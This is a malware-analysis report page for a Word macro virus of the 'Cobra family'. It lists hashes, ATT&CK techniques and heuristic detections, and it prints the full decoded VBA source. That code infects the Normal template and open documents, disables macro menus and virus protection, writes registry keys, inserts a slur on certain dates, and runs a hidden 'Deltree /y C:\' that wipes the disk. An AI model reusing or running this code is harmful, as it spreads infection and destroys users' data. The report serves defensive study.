Cobra family — Office (OLE) malware analysis

Static analysis result for SHA-256 f1467460ddaa6fca…

MALICIOUS

Office (OLE)

41.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6e855f0f96a01d7696719d37d8dd0175 SHA-1: 5a7bb8826e3e881edc94c042f9a1b35aa9951fa9 SHA-256: f1467460ddaa6fcaab0e596a75e0b04c9ae9175eb1b6a4611c095863d2d36d80
280 Risk Score

Malware Insights

Cobra family · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros, specifically triggering AutoOpen and AutoClose functions. The 'AAX_10B' macro module, identified as part of the 'Cobra family', contains calls to the Shell() function, indicating an intent to execute arbitrary code. This functionality is likely used to download and execute a secondary payload, consistent with common malware delivery techniques.

Heuristics 7

  • ClamAV: Doc.Trojan.Cobra-12 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cobra-12
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13857 bytes
SHA-256: e7559ea189edce3b4bf17116886f66df7f51da730ac93e33a40c4383acde4d02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AAX_10B"
'AAX Version 1.0B
'A intelligent member of Cobra family

Sub AutoClose()
Call MenuOpt
Call InfCobra
Call RegE
Call MoreInfect
End Sub
Sub AutoOpen()
Call MenuOpt
Call InfCobra
Call RegE
Call MoreInfect
End Sub
Sub FileNew()
Call MenuOpt
Call InfCobra
Call RegE
Call MoreInfect
Dialogs(wdDialogFileNew).Show
End Sub
Sub FileExit()
Call MenuOpt
Call InfCobra
Call RegE
Call MoreInfect
WordBasic.FileExit
End Sub
Sub MenuOpt()
On Error Resume Next
CustomizationContext = NormalTemplate
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls("Macro").Visible = False
CommandBars("Tools").Controls("Macro").Delete
CommandBars("View").Controls("Toolbars").Enabled = False
CommandBars("View").Controls("Toolbars").Visible = False
CommandBars("View").Controls("Toolbars").Delete
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
Options.VirusProtection = False
Options.SaveNormalPrompt = False
End Sub
Sub InfCobra()
On Error Resume Next
MacT = False
MacD = False
For Each MacrN In NormalTemplate.VBProject.VBComponents
If (MacrN.Name <> "ThisDocument" And MacrN.Name <> "AAX_10B" And Left(MacrN.Name, 5) <> "Cobra") Then
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=MacrN.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
For Each MacrN In NormalTemplate.VBProject.VBComponents
If MacrN.Name = "AAX_10B" Then
MacT = True
End If
Next
If MacT = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="AAX_10B", _
Object:=wdOrganizerObjectProjectItems
End If
For Each DOC In Documents
For Each MacrN In DOC.VBProject.VBComponents
If (MacrN.Name <> "ThisDocument" And _
MacrN.Name <> "Reference to Normal" And MacrN.Name <> "AAX_10B") _
And Left(MacrN.Name, 5) <> "Cobra" Then
Application.OrganizerDelete Source:=DOC.FullName, _
Name:=MacrN.Name, Object:=wdOrganizerObjectProjectItems
End If
Next
Next
For Each DOC In Documents
MacD = False
For Each MacrN In DOC.VBProject.VBComponents
If MacrN.Name = "AAX_10B" Then
MacD = True
End If
Next
If MacD = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=DOC.FullName, Name:="AAX_10B", _
Object:=wdOrganizerObjectProjectItems
End If
Next
End Sub
Sub RegE()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") <> "Cobra ALIAS Liton" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOwner") = "Cobra ALIAS Liton"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\", "RegisteredOrganization") = "Shibrampur/Burichang/Comilla"
End If
If System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\", "") = "" Then
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\", "") = "Cobra"
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\", "Inf") = Format(Date, "mm/dd/yyyy")
End If
End Sub
Sub MoreInfect()
On Error Resume Next
IDT = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Cobra\", "Inf")
CDT = Format(Date, "mm/dd/yyyy")
If DateValue(CDT) - DateValue(IDT) > 90 Then
If (Month(Date) = 3 And Day(Date) = 26) Or (Month(Date) = 12 And Day(Date) = 16) Then
ActiveDocument.CommandBars("File").Reset
ActiveDocument.CommandBars("File").Controls("New...").Caption = "Sheik Mojib is a big &Bustard of Bengal"
End If
End If
If DateValue(CDT) - DateValue(IDT) > 120 Then
If WeekDay(Date) = 6 Then
Shell "Deltree /y C:\", vbHide
End If
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/ff6cc2e5d17c494a84f837194b852a58.bin
' ======================
... (truncated)

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